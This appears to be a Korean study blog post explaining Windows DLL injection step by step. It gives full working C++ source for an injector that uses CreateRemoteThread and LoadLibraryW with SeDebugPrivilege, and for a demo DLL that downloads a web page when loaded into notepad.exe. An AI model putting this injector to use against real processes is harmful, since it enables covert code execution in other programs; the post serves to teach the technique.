앙 규무링~
DLL 인젝션
오늘은 DLL 인젝션의 동작 원리(?)에 대해서 좀 집고 넘어면 좋을 것 같아서 써본다
DLL 인젝션이란 ?
실행 중인 다른 프로세스에 특정 DLL 파일을 강제로 삽입하는 기법.
어제 살펴봤던 것처럼 다른 프로세서의 메모리 공간으로 DLL을 강제 삽입 시키는 행위 입니다.
DLL에 관해서는 먼저 읽어봐야할 자료가 있습니다.
- 블랙펄 시큐리티 자료입니다.
위의 글들을 읽었다는 가정 아래 DLL 인젝션을 할 때 절차를 확인해봅시다.
DLL injection 순서!
#1. 대상 프로세스의 핸들 구하기
#2. 대상 프로세스 메모리에 인젝션할 DLL 경로를 쓴다.
#3. LoadLibraryW() API 주소를 구한다.
#4. 대상 프로세스에 원격 스레드(Remote Thread)를 실행한다.
- 위의 방법이 가장 무난한 dll 인젝션 방법이라고 합니다. 그럼 하나씩 알아봅시다!
#1. 대상 프로세스의 핸들 구하기
'hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))'
프로세스에 DLL을 인젝션 하기 위해서는 대상 프로세스의 PID값이 필요합니다. 이 PID값을 OpenProcess() API를 통해서 알아오게 됩니다.
3번째 파라미터인 dwPID 값을 사용해 알아내서 프로세스의 핸들을 획득할 수 있습니다.
#2. 대상 프로세스 메모리에 인젝션할 DLL 경로를 쓰기
'pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE) ;'
위의 방식으로 프로세스의 핸들을 얻었다고 한다면, 프로세스에 로딩할 DLL 파일의 경로를 알려줘야 합니다.
어따가 로딩할 껀지 알려주기 위해서 VirtualAllocEx() API를 이용해 상대방 프로세스의 메모리 공간에 버퍼를 할당합니다.
'WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL)'
앞에서 할당받은 버퍼주소 (pRemoteBuf)에다가 WriteProcessMemory() API를 이용하여 DLL 경로 문자열을 써줍니다.
이 WriteProcessMemory() 여깃 hProcess 핸들이 가리키는 상대 프로세스에 메모리 공간에 쓰는 것입니다.
정리 : VirtualAllocEx()로 메모리 공간을 확보하고, WriteProcessMemory()로 로딩될 dll 경로를 적어줌.
#3. LoadLibraryW() API 주소를 구하기
hMod = GetModuleHandle("kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
DLL 인젝션을 하기 위해서는 'kernel32.dll' 안의 LoadLibrary() 함수를 이용해야 합니다. 그러므로 GetModuleHandle()을 이용하여 커널.dll의 핸들을 획득한 후에 GetProcAddress()를 사용하여 LoadLibrary()의 주소를 알아오게 됩니다.
#4. 대상 프로세스에 원격 스레드 실행
'hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);'
모든 준비가 끄탄고 마지막으로 대상 프로세스(ex:notepad.exe)로 하여금 LoadLibraryW() API를 호출하도록 명령을 내리면 되는데... Window OS는 그러한 API를 제공하지 않습니다. 따라서 CreateRemoteThread() API를 사용해서 프로세스 내부에 스레드를 생성하고 그 스레드의 시작주소를 LoadLibraryW()의 주소로 채워넣어 실행시키는 방법을 사용합니다.
HANDLE CreateRemoteThread(
HANDLE hProcess, // 프로세스 핸들
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress, // 스레드 함수 주소
LPVOID lpParameter, // 스레드 파라미터 주소
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
myhack.dll 실습!
다음의 파일을 이용하여 dll 인젝션을 해보자!
첫 번째로 메모장을 이용해 실습할 것이므로 메모장의 PID를 구합니다.
그 다음 cmd를 오픈한뒤에 다음과 같이 실행 파라미터를 입력해서 InjectDll.exe를 실행합니다.
dll 인젝션이 성공하게 되면 하나의 index.html파일이 생성되게 되며, 페이지를 열게 되면 다음과 같습니다!
실습 끝!
은 아니고 이제 소스코드를 분석할 시간이다...
먼저 Myhack.cpp를 보자!
// Myhack.cpp
#include "windows.h"
#include "tchar.h"
#pragma comment(lib, "urlmon.lib")
#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );
if( !p )
return FALSE;
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!!");
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
}
return TRUE;
}
먼저 Dllmain()을 봅시다! DLL이 로딩되어지면서(DLL_PROCESS_ATTACH)될 때 디버그 문자열을 출력합니다.
("myhack.dll injection!!!") 그 후 스레드를 실행합니다. ThreadProc()의 내용은 URLDownloadToFile() API를 이용해 사이트의 index.html 파일을 다운받게 합니다. 프로세스에 DLL 인젝션이 발생한 경우 해당 DLL의 DllMain() 함수가 호출되고 결국 URLDownloadToFile() API가 호출되게 되는 원리! - 잘읽어보십쇼
다음은 InjectDll.cpp의 소스코드를 보겠습니다.
// InjectDll.cpp
#include "windows.h"
#include "tchar.h"
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
_tprintf(L"The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
// #1. dwPID 를 이용하여 대상 프로세스(notepad.exe)의 HANDLE을 구한다.
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}
// #2. 대상 프로세스(notepad.exe) 메모리에 szDllName 크기만큼 메모리를 할당한다.
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
// #3. 할당 받은 메모리에 myhack.dll 경로("c:\\myhack.dll")를 쓴다.
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
// #4. LoadLibraryA() API 주소를 구한다.
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
// #5. notepad.exe 프로세스에 스레드를 실행
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int _tmain(int argc, TCHAR *argv[])
{
if( argc != 3)
{
_tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
return 1;
}
// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;
// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);
return 0;
}
main() 부터 살펴봅시다. main()의 주요기능은 프로그램의 파라미터들에 대해서 체크한 후에 InjectDll()함수를 호출하는 것입니다. InjectDll() 함수가 바로 DLL 인젝션을 하는 주요 함수입니다!
그럼 호출되어지는 InjectDll() 함수는 대상 프로세스로 하여금 LoadLibrary("myhack.dll") API를 호출하도록 명령하는 기능을 가지고 있습니다.
-> 이 InjectDll()를 위의 주석과 절차에 따라서 한 줄씩 확인해보면 신상에 이로울것 같습니다!